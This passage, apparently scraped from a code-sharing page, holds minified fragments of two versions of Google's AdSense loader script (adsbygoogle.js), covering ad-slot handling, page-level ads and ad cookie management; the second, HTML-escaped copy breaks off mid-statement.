g=f._value_,h=f._expires_;e=f._path_;f=f._domain_;if(!(q(g)&&pa(h)&&q(e)&&q(f)))throw Error("Invalid JSONP response");var k=new Nb;g=Ib(k,1,g);h=Ib(g,2,h);e=Ib(h,3,e);e=[Ib(e,4,f)];e.length&&(a.a=e[0],e=a.a&&y(a.a,1))&&(a.f=e,null!=a.a&&a.f&&(e=new Date,e.setTime(1E3*y(a.a,2)),f="."+y(a.a,4),e="__gads="+a.f+("; expires="+e.toGMTString())+("; path="+y(a.a,3)+"; domain="+f),a.b.cookie=e))}}),Zb(a.b,d({domain:a.b.domain,clientId:b,value:a.f,cookieEnabled:a.i})))}function dk(a){var b=a.value,c=a.cookieEnabled;a="https://partner.googleadservices.com/gampad/cookie.js?domain="+a.domain+"&callback=_setgfp_&client="+a.clientId;b&&(a+="&cookie="+encodeURIComponent(b));c&&(a+="&cookie_enabled=1");return a}function bk(a){if(!a.f&&!a.s&&1!=a.h){a.b.cookie="GoogleAdServingTest=Good";var b="Good"===ak(a,"GoogleAdServingTest=");if(b){var c=a.b,d=new Date;d.setTime((new Date).valueOf()+-1);c.cookie="GoogleAdServingTest=; expires="+d.toGMTString()}a.i=b;a.s=!0}}function ak(a,b){a=a.b.cookie;var c=a.indexOf(b);if(-1===c)return"";b=c+b.length;c=a.indexOf(";",b);-1==c&&(c=a.length);return a.substring(b,c)};function ek(a){return Kc.test(a.className)&&"done"!=a.getAttribute("data-adsbygoogle-status")}function fk(a,b){var c=window;a.setAttribute("data-adsbygoogle-status","done");gk(a,b,c)}function gk(a,b,c){var d=Jc();d.google_spfd||(d.google_spfd=Yj);(d=b.google_reactive_ads_config)||Yj(a,b,c);if(!hk(a,b,c)){d||(c.google_lpabyc=Nh(c,a));if(d){d=d.page_level_pubvars||{};if(I(D).page_contains_reactive_tag&&!I(D).allow_second_reactive_tag){if(d.pltais){Oc(!1);return}throw new L("Only one 'enable_page_level_ads' allowed per page.");}I(D).page_contains_reactive_tag=!0;Oc(7===d.google_pgb_reactive)}else Fc(c);if(!I(D).per_pub_js_loaded){I(D).per_pub_js_loaded=!0;try{c.localStorage.removeItem("google_pub_config")}catch(e){}}Dc(Cj,function(e,f){b[f]=b[f]||c[f]});b.google_loader_used="aa";b.google_reactive_tag_first=1===(I(D).first_tag_on_page||0);be(164,function(){Tj(c,b,a)})}}function hk(a,b,c){var d=b.google_reactive_ads_config;if(d){var e=d.page_level_pubvars;var f=(za(e)?e:{}).google_tag_origin}e=q(a.className)&&/(\W|^)adsbygoogle-noablate(\W|$)/.test(a.className);var g=b.google_ad_slot;var h=f||b.google_tag_origin;f=I(c);Pc(f.ad_whitelist||[],g,h)?g=null:(h=f.space_collapsing||"none",g=(g=Pc(f.ad_blacklist||[],g))?{ma:!0,ya:g.space_collapsing||h}:f.remove_ads_by_default?{ma:!0,ya:h,ca:f.ablation_viewport_offset}:null);if(g&&g.ma&&"on"!=b.google_adtest&&!e&&(e=Hg(a,c),!g.ca||g.ca&&(e||0)>=g.ca))return a.className+=" adsbygoogle-ablated-ad-slot",c=c.google_sv_map=c.google_sv_map||{},d=Aa(a),c[b.google_element_uid]=b,a.setAttribute("google_element_uid",d),"slot"==g.ya&&(null!==ic(a.getAttribute("width"))&&a.setAttribute("width",0),null!==ic(a.getAttribute("height"))&&a.setAttribute("height",0),a.style.width="0px",a.style.height="0px"),!0;if((e=$b(a,c))&&"none"==e.display&&!("on"==b.google_adtest||0<b.google_reactive_ad_format||d))return c.document.createComment&&a.appendChild(c.document.createComment("No ad requested because of display:none on the adsbygoogle tag")),!0;a=null==b.google_pgb_reactive||3===b.google_pgb_reactive;return 1!==b.google_reactive_ad_format&&8!==b.google_reactive_ad_format||!a?!1:(p.console&&p.console.warn("Adsbygoogle tag with data-reactive-ad-format="+b.google_reactive_ad_format+" is deprecated. Check out page-level ads at https://www.google.com/adsense"),!0)}function ik(a){var b=document.getElementsByTagName("INS");for(var c=0,d=b[c];c<b.length;d=b[++c]){var e=d;if(ek(e)&&"reserved"!=e.getAttribute("data-adsbygoogle-status")&&(!a||d.id==a))return d}return null}function jk(){var a=Rb(document,"INS");a.className="adsbygoogle";a.className+=" adsbygoogle-noablate";kc(a);return a}function kk(a){var b={};Dc(md,function(e,f){!1===a.enable_page_level_ads?b[f]=!1:a.hasOwnProperty(f)&&(b[f]=a[f])});za(a.enable_page_level_ads)&&(b.page_level_pubvars=a.enable_page_level_ads);var c=jk();Ob.body.appendChild(c);var d={};d=(d.google_reactive_ads_config=b,d.google_ad_client=a.google_ad_client,d);d.google_pause_ad_requests=I(D).pause_ad_requests||!1;fk(c,d)}function lk(a){return"complete"==a.readyState||"interactive"==a.readyState}function mk(a){function b(){return kk(a)}var c=void 0===c?Ob:c;var d=Mc(window);if(!d)throw new L("Page-level tag does not work inside iframes.");ng(d).wasPlaTagProcessed=!0;if(c.body||lk(c))b();else{var e=Ra(ce(191,b));rc(c,"DOMContentLoaded",e);(new p.MutationObserver(function(f,g){c.body&&(e(),g.disconnect())})).observe(c,{childList:!0,subtree:!0})}}function nk(a){var b={};be(165,function(){ok(a,b)},function(c){c.client=c.client||b.google_ad_client||a.google_ad_client;c.slotname=c.slotname||b.google_ad_slot;c.tag_origin=c.tag_origin||b.google_tag_origin})}function pk(a){delete a.google_checked_head;ec(a,function(b,c){Rc[c]||(delete a[c],b=c.replace("google","data").replace(/_/g,"-"),p.console.warn("AdSense head tag doesn't support "+b+" attribute."))})}function qk(a){var b=D._gfp_;if(void 0===b||1===b)J(D,Sf.g)?ck(D._gfp_=new Zj(b?1:0),a):D._gfp_=2}function rk(){var a=yf(201),b=J(D,Zf.g),c=J(D,Zf.c);return b||a&&!c}function ok(a,b){if(null==a)throw new L("push() called with no parameters.");Ha=(new Date).getTime();Mj();a:{if(void 0!=a.enable_page_level_ads){if(q(a.google_ad_client)){var c=!0;break a}throw new L("'google_ad_client' is missing from the tag config.");}c=!1}if(c)sk(a,b);else if((c=a.params)&&Dc(c,function(e,f){b[f]=e}),"js"===b.google_ad_output)console.warn("Ads with google_ad_output='js' have been deprecated and no longer work. Contact your AdSense account manager or switch to standard AdSense ads.");else{a=tk(a.element);Wj(a,b);c=I(p).head_tag_slot_vars||{};ec(c,function(e,f){b.hasOwnProperty(f)||(b[f]=e)});if(a.hasAttribute("data-require-head")&&!I(p).head_tag_slot_vars)throw new L("AdSense head tag is missing. AdSense body tags don't work without the head tag. You can copy the head tag from your account on https://adsense.com.");if(rk()&&!b.google_ad_client)throw new L("Ad client is missing from the slot.");var d=(c=0===(I(D).first_tag_on_page||0)&&Lh(b))&&Mh(c);c&&!d&&(sk(c),I(D).skip_next_reactive_tag=!0);0===(I(D).first_tag_on_page||0)&&(I(D).first_tag_on_page=2);qk(b.google_ad_client);b.google_pause_ad_requests=I(D).pause_ad_requests||!1;fk(a,b);c&&d&&uk(c)}}function uk(a){function b(){ng(p).wasPlaTagProcessed||p.adsbygoogle&&p.adsbygoogle.push(a)}lk(Ob)?b():rc(Ob,"DOMContentLoaded",Ra(b))}function sk(a,b){if(I(D).skip_next_reactive_tag)I(D).skip_next_reactive_tag=!1;else{0===(I(D).first_tag_on_page||0)&&(I(D).first_tag_on_page=1);b&&a.tag_partner&&(Nc(p,a.tag_partner),Nc(b,a.tag_partner));a:if(!I(D).ama_ran_on_page){try{var c=p.localStorage.getItem("google_ama_config")}catch(z){c=null}try{var d=c?new dd(c?JSON.parse(c):null):null}catch(z){d=null}if(b=d)if(c=B(b,fd,3),!c||y(c,1)<=+new Date)try{p.localStorage.removeItem("google_ama_config")}catch(z){me(p,{lserr:1})}else{if(Mh(a)&&(c=nd(p.location.pathname,C(b,gd,7)),!c||!Fb(c,8)))break a;I(D).ama_ran_on_page=!0;B(b,jd,13)&&1===y(B(b,jd,13),1)&&(c=0,B(B(b,jd,13),kd,6)&&y(B(B(b,jd,13),kd,6),3)&&(c=y(B(B(b,jd,13),kd,6),3)||0),d=I(p),d.remove_ads_by_default=!0,d.space_collapsing="slot",d.ablation_viewport_offset=c);mf(3,[Jb(b)]);c=a.google_ad_client;d=he(je,new ge(null,ne(za(a.enable_page_level_ads)?a.enable_page_level_ads:{})));try{var e=nd(p.location.pathname,C(b,gd,7)),f;if(f=e)b:{var g=y(e,2);if(g)for(var h=0;h<g.length;h++)if(1==g[h]){f=!0;break b}f=!1}if(f){if(y(e,4)){f={};var k=new ge(null,(f.google_package=y(e,4),f));d=he(d,k)}var m=new mh(c,b,e,d),n=new rh;(new wh(m,n)).start();var u=n.b;var w=Ga(zh,p);if(u.b)throw Error("Then functions already set.");u.b=Ga(yh,p);u.f=w;uh(u)}}catch(z){me(p,{atf:-1})}}}mk(a)}}function tk(a){if(a){if(!ek(a)&&(a.id?a=ik(a.id):a=null,!a))throw new L("'element' has already been filled.");if(!("innerHTML"in a))throw new L("'element' is not a good DOM element.");}else if(a=ik(),!a)throw new L("All ins elements in the DOM with class=adsbygoogle already have ads in them.");return a}function vk(){Zd();Vd.s=ee;be(166,wk)}function wk(){var a=Cc(Bc(D))||D,b=I(a);if(!b.plle){b.plle=!0;var c=[null,null];try{var d=JSON.parse("[[[175,null,null,[1]]],[[12,[[1,[[21064123],[21064124]]]]],[10,[[10,[[20040008],[20040009,[[182,null,null,[1]]]]]],[1,[[21062810],[21062811]]],[1,[[21063996],[21063997,[[160,null,null,[1]]]]]],[50,[[21064339],[21064340,[[186,null,null,[1]]]]]],[50,[[21064380],[21064381,[[196,null,null,[1]]]]]],[1000,[[368226200,null,[2,[[12,null,null,5,null,null,\x22[02468]$\x22,[\x229\x22]],[7,null,null,5,null,2,null,[\x229\x22]]]]],[368226201,null,[2,[[12,null,null,5,null,null,\x22[13579]$\x22,[\x229\x22]],[7,null,null,5,null,2,null,[\x229\x22]]]]]]],[1000,[[368845002,null,[2,[[12,null,null,5,null,null,\x22[13579]$\x22,[\x224\x22]],[7,null,null,5,null,2,null,[\x224\x22]]]]],[368885001,null,[2,[[12,null,null,5,null,null,\x22[02468]$\x22,[\x224\x22]],[7,null,null,5,null,2,null,[\x224\x22]]]]]]]]],[11,[[10,[[248427477],[248427478,[[154,null,null,[1]]]]]]]]]]")}catch(m){d=c}mf(13,[d]);ti(new ei(d),Zh(a));Cf.j().a(12);Cf.j().a(10);b.eids=Ka(Cf.j().b(),String).concat(b.eids||[]);b=b.eids;d=zf();zc=!0;c=zf();var e=Mc(a)||a;e=Bh(e.location,"google_responsive_slot_debug")||Bh(e.location,"google_responsive_slot_preview");var f=Ih(a,11);var g=null!=Gh(a,"");e?(e=ag,f=cg,c=e.g):g?(e=fg,f=gg,c=T(a,new K(0,999,""),O(c,152),O(c,153),[e.c,e.g],2)):f?(e=dg,f=eg,c=T(a,new K(0,999,""),O(c,120),O(c,121),[e.c,e.g],2)):(e=ag,f=cg,c=T(a,Rh,O(c,96),O(c,97),[e.c,e.g]));c?(g={},e=(g[e.c]=f.c,g[e.g]=f.g,g)[c],c={Qa:c,Sa:e}):c=null;e=c||{};c=e.Qa;g=e.Sa;c&&g&&(S(b,c),S(b,g));e=Mf;c=wi(a,O(d,136),[e.c,e.g]);S(b,c);Ih(a,12)&&(e=Ff,f=Ef,c=T(a,new K(0,999,""),O(d,149),O(d,150),[e.c,e.g],4),S(b,c),c==e.c?g=f.c:c==e.g?g=f.g:g="",S(b,g));e=Jf;c=T(a,Oh,O(d,160),O(d,161),[e.c,e.R,e.P]);S(b,c);f=If;c==e.c?g=f.c:c==e.R?g=f.R:c==e.P?g=f.P:g="";S(b,g);e=Tf;S(b,T(a,Ph,O(d,9),O(d,10),[e.c,e.Da]));e=Hf;c=T(a,Uh,O(d,179),O(d,180),[e.c,e.U]);S(b,c);f=Gf;c==e.c?g=f.c:c==e.U?g=f.U:g="";S(b,g);e=$f;c=T(a,Xh,O(d,195),O(d,196),[e.c,e.g]);S(b,c);f=Zf;c==e.c?g=f.c:c==e.g?g=f.g:g="";S(b,g);e=Lf;c=T(a,Yh,O(d,199),O(d,200),[e.c,e.g]);S(b,c);f=Kf;c==e.c?g=f.c:c==e.g?g=f.g:g="";S(b,g);Ya("")&&S(b,"");e=Uf;c=wi(a,O(d,13),[e.o,e.c]);S(b,c);c=wi(a,0,[e.la]);S(b,c);e=Vf;c=wi(a,O(d,60),[e.o,e.c]);S(b,c);c==Vf.o&&(e=Wf,c=wi(a,O(d,66),[e.o,e.c]),S(b,c),e=Yf,c=wi(a,O(d,137),[e.o,e.c]),S(b,c),c==Wf.o&&(e=Xf,c=wi(a,O(d,135),[e.o,e.c]),S(b,c)));e=Nf;c=wi(a,O(d,98),[e.c,e.g]);S(b,c);e=Sf;c=wi(a,O(d,192),[e.c,e.g]);S(b,c);e=Of;c=T(a,Th,O(d,157),O(d,158),[e.c,e.B]);S(b,c);f=Pf;c==e.c?g=f.c:c==e.B?g=f.B:g="";S(b,g);e=Qf;c=T(a,Sh,O(d,173),O(d,174),[e.c,e.g]);S(b,c);f=Rf;c==e.c?g=f.c:c==e.g?g=f.g:g="";S(b,g);e=hg;c=T(a,Qh,O(d,99),O(d,100),[e.c,e.g]);S(b,c);f=ig;c==e.c?g=f.c:c==e.g?g=f.g:g="";S(b,g);e=jg;c=wi(a,O(d,165),[e.c,e.g]);S(b,c);e=P;c=T(a,Vh,O(d,189),O(d,190),[e.c,e.T,e.L,e.K,e.I,e.J]);S(b,c);f=kg;c==e.c?g=f.c:c==e.T?g=f.T:c==e.L?g=f.L:c==e.K?g=f.K:c==e.I?g=f.I:c==e.J?g=f.J:g="";S(b,g);e=lg;c=T(a,Wh,O(d,193),O(d,194),[e.c,e.aa,e.ba]);S(b,c);c=wi(a,O(d,185),["20199336","20199335"]);S(b,c);a=Mc(a)||a;Bh(a.location,"google_mc_lab")&&S(b,"242104166")}if(!t("Trident")&&!t("MSIE")||ub(11)){a=J(D,Wf.o)||J(D,Uf.o)||J(D,Uf.la);Xd(a);Ij();Fj(".google.dz")&&(Z[1]=".google.dz");Kj();if(a=Mc(p))a=ng(a),a.tagSpecificState[1]||(a.tagSpecificState[1]=new Ah);if(d=D.document.querySelector('script[src*="/pagead/js/adsbygoogle.js"][data-ad-client]:not([data-checked-head])')){d.setAttribute("data-checked-head","true");b=I(window);if(b.head_tag_slot_vars)throw new L("Only one AdSense head tag supported per page. The second tag is ignored.");a={};Wj(d,a);pk(a);d={};for(var h in a)d[h]=a[h];b.head_tag_slot_vars=d;h={};h=(h.google_ad_client=a.google_ad_client,h.enable_page_level_ads=a,h);D.adsbygoogle||(D.adsbygoogle=[]);a=D.adsbygoogle;a.loaded?a.push(h):a.splice(0,0,h)}h=window.adsbygoogle;if(!h||!h.loaded){a={push:nk,loaded:!0};try{Object.defineProperty(a,"requestNonPersonalizedAds",{set:xk}),Object.defineProperty(a,"pauseAdRequests",{set:yk}),Object.defineProperty(a,"setCookieOptions",{set:zk}),Object.defineProperty(a,"onload",{set:Ak})}catch(m){}if(h)for(b=ba(["requestNonPersonalizedAds","pauseAdRequests","setCookieOptions"]),d=b.next();!d.done;d=b.next())d=d.value,void 0!==h[d]&&(a[d]=h[d]);if(h&&h.shift)try{var k;for(b=20;0<h.length&&(k=h.shift())&&0<b;)nk(k),--b}catch(m){throw window.setTimeout(vk,0),m;}window.adsbygoogle=a;h&&(a.onload=h.onload)}}}function xk(a){if(+a){if((a=Yb())&&a.frames&&!a.frames.GoogleSetNPA)try{var b=a.document,c=new Sb(b),d=b.body||b.head&&b.head.parentElement;if(d){var e=Rb(c.a,"IFRAME");e.name="GoogleSetNPA";e.id="GoogleSetNPA";e.setAttribute("style","display:none;position:fixed;left:-999px;top:-999px;width:0px;height:0px;");d.appendChild(e)}}catch(f){}}else(b=Yb().document.getElementById("GoogleSetNPA"))&&b.parentNode&&b.parentNode.removeChild(b)}function yk(a){+a?I(D).pause_ad_requests=!0:(I(D).pause_ad_requests=!1,a=function(){if(!I(D).pause_ad_requests){var b=Jc(),c=Jc();try{if(Ob.createEvent){var d=Ob.createEvent("CustomEvent");d.initCustomEvent("adsbygoogle-pub-unpause-ad-requests-event",!1,!1,"");b.dispatchEvent(d)}else if(Ec(c.CustomEvent)){var e=new c.CustomEvent("adsbygoogle-pub-unpause-ad-requests-event",{bubbles:!1,cancelable:!1,detail:""});b.dispatchEvent(e)}else if(Ec(c.Event)){var f=new Event("adsbygoogle-pub-unpause-ad-requests-event",{bubbles:!1,cancelable:!1});b.dispatchEvent(f)}}catch(g){}}},p.setTimeout(a,0),p.setTimeout(a,1E3))}function zk(a){var b=D._gfp_;void 0===b||1===b?D._gfp_=a?1:void 0:b instanceof Zj&&b.w(a?1:0)}function Ak(a){Ec(a)&&window.setTimeout(a,0)};vk();}).call(this);

    From user drissi1990

  • edipurmail / adsbygoogle.js

    unknown-21-m, (function(){var aa=&quot;function&quot;==typeof Object.create?Object.create:function(a){var b=function(){};b.prototype=a;return new b},ba;if(&quot;function&quot;==typeof Object.setPrototypeOf)ba=Object.setPrototypeOf;else{var ca;a:{var ea={a:!0},fa={};try{fa.__proto__=ea;ca=fa.a;break a}catch(a){}ca=!1}ba=ca?function(a,b){a.__proto__=b;if(a.__proto__!==b)throw new TypeError(a+&quot; is not extensible&quot;);return a}:null}var ha=ba,ia=function(a,b){a.prototype=aa(b.prototype);a.prototype.constructor=a;if(ha)ha(a,b);else for(var c in b)if(&quot;prototype&quot;!=c)if(Object.defineProperties){var d=Object.getOwnPropertyDescriptor(b,c);d&amp;&amp;Object.defineProperty(a,c,d)}else a[c]=b[c];a.Ea=b.prototype},ja=&quot;function&quot;==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){a!=Array.prototype&amp;&amp;a!=Object.prototype&amp;&amp;(a[b]=c.value)},ka=&quot;undefined&quot;!=typeof window&amp;&amp;window===this?this:&quot;undefined&quot;!=typeof global&amp;&amp;null!=global?global:this,la=function(a,b){if(b){var c=ka;a=a.split(&quot;.&quot;);for(var d=0;d&lt;a.length-1;d++){var e=a[d];e in c||(c[e]={});c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&amp;&amp;null!=b&amp;&amp;ja(c,a,{configurable:!0,writable:!0,value:b})}},ma=&quot;function&quot;==typeof Object.assign?Object.assign:function(a,b){for(var c=1;c&lt;arguments.length;c++){var d=arguments[c];if(d)for(var e in d)Object.prototype.hasOwnProperty.call(d,e)&amp;&amp;(a[e]=d[e])}return a};la(&quot;Object.assign&quot;,function(a){return a||ma});la(&quot;Number.isNaN&quot;,function(a){return a?a:function(a){return&quot;number&quot;===typeof a&amp;&amp;isNaN(a)}});var l=this,na=function(a){return&quot;string&quot;==typeof a},r=function(a){return&quot;number&quot;==typeof a},oa=function(){},t=function(a){var b=typeof a;if(&quot;object&quot;==b)if(a){if(a instanceof Array)return&quot;array&quot;;if(a instanceof Object)return b;var c=Object.prototype.toString.call(a);if(&quot;[object Window]&quot;==c)return&quot;object&quot;;if(&quot;[object Array]&quot;==c||&quot;number&quot;==typeof a.length&amp;&amp;&quot;undefined&quot;!=typeof a.splice&amp;&amp;&quot;undefined&quot;!=typeof a.propertyIsEnumerable&amp;&amp;!a.propertyIsEnumerable(&quot;splice&quot;))return&quot;array&quot;;if(&quot;[object Function]&quot;==c||&quot;undefined&quot;!=typeof a.call&amp;&amp;&quot;undefined&quot;!=typeof a.propertyIsEnumerable&amp;&amp;!a.propertyIsEnumerable(&quot;call&quot;))return&quot;function&quot;}else return&quot;null&quot;;else if(&quot;function&quot;==b&amp;&amp;&quot;undefined&quot;==typeof a.call)return&quot;object&quot;;return b},pa=function(a){var b=typeof a;return&quot;object&quot;==b&amp;&amp;null!=a||&quot;function&quot;==b},qa=function(a,b,c){return a.call.apply(a.bind,arguments)},ra=function(a,b,c){if(!a)throw Error();if(2&lt;arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var c=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(c,d);return a.apply(b,c)}}return function(){return a.apply(b,arguments)}},sa=function(a,b,c){Function.prototype.bind&amp;&amp;-1!=Function.prototype.bind.toString().indexOf(&quot;native code&quot;)?sa=qa:sa=ra;return sa.apply(null,arguments)},ta=function(a,b){var c=Array.prototype.slice.call(arguments,1);return function(){var b=c.slice();b.push.apply(b,arguments);return a.apply(this,b)}},ua=function(a,b){function c(){}c.prototype=b.prototype;a.Ea=b.prototype;a.prototype=new c;a.prototype.constructor=a;a.Fa=function(a,c,f){for(var d=Array(arguments.length-2),e=2;e&lt;arguments.length;e++)d[e-2]=arguments[e];return b.prototype[c].apply(a,d)}};var va=(new Date).getTime();var wa=document,v=window;var xa={&quot;120x90&quot;:!0,&quot;160x90&quot;:!0,&quot;180x90&quot;:!0,&quot;200x90&quot;:!0,&quot;468x15&quot;:!0,&quot;728x15&quot;:!0},ya=function(a,b){if(15==b){if(728&lt;=a)return 728;if(468&lt;=a)return 468}else if(90==b){if(200&lt;=a)return 200;if(180&lt;=a)return 180;if(160&lt;=a)return 160;if(120&lt;=a)return 120}return null};var za=function(a,b){a=parseInt(a,10);return isNaN(a)?b:a},Aa=/^([\w-]+\.)*([\w-]{2,})(:[0-9]+)?$/,Ba=function(a,b){return a?(a=a.match(Aa))?a[0]:b:b};var Ca=za(&quot;468&quot;,0);var Da=function(a,b){for(var c=a.length,d=na(a)?a.split(&quot;&quot;):a,e=0;e&lt;c;e++)e in d&amp;&amp;b.call(void 0,d[e],e,a)},Ea=function(a){return Array.prototype.concat.apply([],arguments)};var Fa=function(a,b){for(var c in a)if(b.call(void 0,a[c],c,a))return c};var Ha=function(){this.j=&quot;&quot;;this.l=Ga};Ha.prototype.na=!0;Ha.prototype.aa=function(){return this.j};var Ia=function(a){if(a instanceof Ha&amp;&amp;a.constructor===Ha&amp;&amp;a.l===Ga)return a.j;t(a);return&quot;type_error:TrustedResourceUrl&quot;},Ga={};var Ja=function(a){return/^[\s\xa0]*([\s\S]*?)[\s\xa0]*$/.exec(a)[1]},Ra=function(a){if(!Ka.test(a))return a;-1!=a.indexOf(&quot;&amp;&quot;)&amp;&amp;(a=a.replace(La,&quot;&amp;amp;&quot;));-1!=a.indexOf(&quot;&lt;&quot;)&amp;&amp;(a=a.replace(Ma,&quot;&amp;lt;&quot;));-1!=a.indexOf(&quot;&gt;&quot;)&amp;&amp;(a=a.replace(Na,&quot;&amp;gt;&quot;));-1!=a.indexOf(&#039;&quot;&#039;)&amp;&amp;(a=a.replace(Oa,&quot;&amp;quot;&quot;));-1!=a.indexOf(&quot;&#039;&quot;)&amp;&amp;(a=a.replace(Pa,&quot;&amp;#39;&quot;));-1!=a.indexOf(&quot;\x00&quot;)&amp;&amp;(a=a.replace(Qa,&quot;&amp;#0;&quot;));return a},La=/&amp;/g,Ma=/&lt;/g,Na=/&gt;/g,Oa=/&quot;/g,Pa=/&#039;/g,Qa=/\x00/g,Ka=/[\x00&amp;&lt;&gt;&quot;&#039;]/,Sa={&quot;\x00&quot;:&quot;\\0&quot;,&quot;\b&quot;:&quot;\\b&quot;,&quot;\f&quot;:&quot;\\f&quot;,&quot;\n&quot;:&quot;\\n&quot;,&quot;\r&quot;:&quot;\\r&quot;,&quot;\t&quot;:&quot;\\t&quot;,&quot;\x0B&quot;:&quot;\\x0B&quot;,&#039;&quot;&#039;:&#039;\\&quot;&#039;,&quot;\\&quot;:&quot;\\\\&quot;,&quot;&lt;&quot;:&quot;&lt;&quot;},Ta={&quot;&#039;&quot;:&quot;\\&#039;&quot;},Ua=function(a){return String(a).replace(/\-([a-z])/g,function(a,c){return c.toUpperCase()})};var Wa=function(){this.ba=&quot;&quot;;this.wa=Va};Wa.prototype.na=!0;Wa.prototype.aa=function(){return this.ba};var Xa=/^(?:(?:https?|mailto|ftp):|[^:/?#]*(?:[/?#]|$))/i,Va={},Ya=function(a){var b=new Wa;b.ba=a;return b};Ya(&quot;about:blank&quot;);var Za;a:{var $a=l.navigator;if($a){var ab=$a.userAgent;if(ab){Za=ab;break a}}Za=&quot;&quot;}var w=function(a){return-1!=Za.indexOf(a)};var bb=function(a){var b=!1,c;return function(){b||(c=a(),b=!0);return c}},cb=function(){var a=oa;return function(){if(a){var b=a;a=null;b()}}};var eb=function(a){db();var b=new Ha;b.j=a;return b},db=oa;var fb=function(a){fb[&quot; &quot;](a);return a};fb[&quot; &quot;]=oa;var gb=w(&quot;Opera&quot;),hb=-1!=Za.toLowerCase().indexOf(&quot;webkit&quot;)&amp;&amp;!w(&quot;Edge&quot;);var ib=/^[\w+/_-]+[=]{0,2}$/,jb=function(){var a=l.document.querySelector(&quot;script[nonce]&quot;);if(a&amp;&amp;(a=a.nonce||a.getAttribute(&quot;nonce&quot;))&amp;&amp;ib.test(a))return a};var x=function(a){try{var b;if(b=!!a&amp;&amp;null!=a.location.href)a:{try{fb(a.foo);b=!0;break a}catch(c){}b=!1}return b}catch(c){return!1}},kb=function(a,b){var c=[l.top],d=[],e=0;b=b||1024;for(var f;f=c[e++];){a&amp;&amp;!x(f)||d.push(f);try{if(f.frames)for(var g=f.frames.length,h=0;h&lt;g&amp;&amp;c.length&lt;b;++h)c.push(f.frames[h])}catch(k){}}return d},lb=function(a,b){var c=a.createElement(&quot;script&quot;);b=eb(b);c.src=Ia(b);(a=a.getElementsByTagName(&quot;script&quot;)[0])&amp;&amp;a.parentNode&amp;&amp;a.parentNode.insertBefore(c,a)},y=function(a,b){return b.getComputedStyle?b.getComputedStyle(a,null):a.currentStyle},mb=function(a){if(!a.crypto)return Math.random();try{var b=new Uint32Array(1);a.crypto.getRandomValues(b);return b[0]/65536/65536}catch(c){return Math.random()}},nb=function(a,b){if(a)for(var c in a)Object.prototype.hasOwnProperty.call(a,c)&amp;&amp;b.call(void 0,a[c],c,a)},ob=function(a){var b=a.length;if(0==b)return 0;for(var c=305419896,d=0;d&lt;b;d++)c^=(c&lt;&lt;5)+(c&gt;&gt;2)+a.charCodeAt(d)&amp;4294967295;return 0&lt;c?c:4294967296+c},pb=bb(function(){return-1!=Za.indexOf(&quot;Google Web Preview&quot;)||1E-4&gt;Math.random()}),qb=/^([0-9.]+)px$/,rb=/^(-?[0-9.]{1,30})$/,sb=function(a){return rb.test(a)&amp;&amp;(a=Number(a),!isNaN(a))?a:null},tb=function(a,b){return b?!/^false$/.test(a):/^true$/.test(a)},A=function(a){return(a=qb.exec(a))?+a[1]:null};var ub=function(){return&quot;r20180214&quot;},vb=tb(&quot;false&quot;,!1),wb=tb(&quot;false&quot;,!1),xb=tb(&quot;false&quot;,!1),yb=xb||!wb;var zb=function(){return Ba(&quot;&quot;,&quot;googleads.g.doubleclick.net&quot;)};var Ab=function(a){this.j=a||l.document||document};var Bb=function(a,b,c){a.addEventListener?a.addEventListener(b,c,void 0):a.attachEvent&amp;&amp;a.attachEvent(&quot;on&quot;+b,c)},Cb=function(a,b,c){a.removeEventListener?a.removeEventListener(b,c,void 0):a.detachEvent&amp;&amp;a.detachEvent(&quot;on&quot;+b,c)};var Db=function(a){a=a||l;var b=a.context;if(!b)try{b=a.parent.context}catch(c){}try{if(b&amp;&amp;&quot;pageViewId&quot;in b&amp;&amp;&quot;canonicalUrl&quot;in b)return b}catch(c){}return null},Eb=function(a){a=a||Db();if(!a)return null;a=a.master;return x(a)?a:null};var Fb=function(a,b){l.google_image_requests||(l.google_image_requests=[]);var c=l.document.createElement(&quot;img&quot;);if(b){var d=function(a){b(a);Cb(c,&quot;load&quot;,d);Cb(c,&quot;error&quot;,d)};Bb(c,&quot;load&quot;,d);Bb(c,&quot;error&quot;,d)}c.src=a;l.google_image_requests.push(c)};var Gb=Object.prototype.hasOwnProperty,Hb=function(a,b){for(var c in a)Gb.call(a,c)&amp;&amp;b.call(void 0,a[c],c,a)},Ib=Object.assign||function(a,b){for(var c=1;c&lt;arguments.length;c++){var d=arguments[c];if(d)for(var e in d)Gb.call(d,e)&amp;&amp;(a[e]=d[e])}return a},Jb=function(a){return!(!a||!a.call)&amp;&amp;&quot;function&quot;===typeof a},Kb=function(a,b){for(var c=1,d=arguments.length;c&lt;d;++c)a.push(arguments[c])},Lb=function(a,b){if(a.indexOf)return a=a.indexOf(b),0&lt;a||0===a;for(var c=0;c&lt;a.length;c++)if(a[c]===b)return!0;return!1},Mb=function(a){a=Eb(Db(a))||a;a.google_unique_id?++a.google_unique_id:a.google_unique_id=1},Nb=!!window.google_async_iframe_id,Ob=Nb&amp;&amp;window.parent||window,Pb=function(){if(Nb&amp;&amp;!x(Ob)){var a=&quot;.&quot;+wa.domain;try{for(;2&lt;a.split(&quot;.&quot;).length&amp;&amp;!x(Ob);)wa.domain=a=a.substr(a.indexOf(&quot;.&quot;)+1),Ob=window.parent}catch(b){}x(Ob)||(Ob=window)}return Ob},Qb=/(^| )adsbygoogle($| )/,Rb=function(a){a=vb&amp;&amp;a.google_top_window||a.top;return x(a)?a:null};var B=function(a,b){a=a.google_ad_modifications;return Lb(a?a.eids||[]:[],b)},C=function(a,b){a=a.google_ad_modifications;return Lb(a?a.loeids||[]:[],b)},Sb=function(a,b,c){if(!a)return null;for(var d=0;d&lt;a.length;++d)if((a[d].ad_slot||b)==b&amp;&amp;(a[d].ad_tag_origin||c)==c)return a[d];return null};var Tb={overlays:1,interstitials:2,vignettes:2,inserts:3,immersives:4,list_view:5,full_page:6};var Ub=function(a){for(var b=[],c=0,d=0;d&lt;a.length;d++){var e=a.charCodeAt(d);255&lt;e&amp;&amp;(b[c++]=e&amp;255,e&gt;&gt;=8);b[c++]=e}return b};var 